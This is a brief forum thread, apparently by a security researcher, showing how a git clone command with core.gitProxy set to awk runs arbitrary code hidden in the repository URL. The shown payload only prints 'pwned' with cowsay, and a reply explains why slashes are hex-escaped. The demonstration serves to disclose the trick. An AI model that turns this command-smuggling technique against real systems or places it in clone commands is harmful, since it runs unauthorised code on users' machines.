3 ms·

If you wonder how to execute code via git clone: $ git clone --config=core.gitProxy=awk 'git://BEGIN{system("cowsay pwned > \x2fdev\x2ftty")}/' Cloning int

by jwilk 8y ago

If you wonder how to execute code via git clone: $ git clone --config=core.gitProxy=awk 'git://BEGIN{system("cowsay pwned > \x2fdev\x2ftty")}/' Cloning into 'BEGIN{system("cowsay pwned > \x2fdev\x2ftty")}'... _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists.

Jenz 8y ago
Why \x2f (in \x2fdev\x2ftty)?
- jwilk 8y ago
  Only hostname (i.e. the thing between git:// and the next slash) is passed as an argument to the proxy command, so slashes in the payload had to be escaped.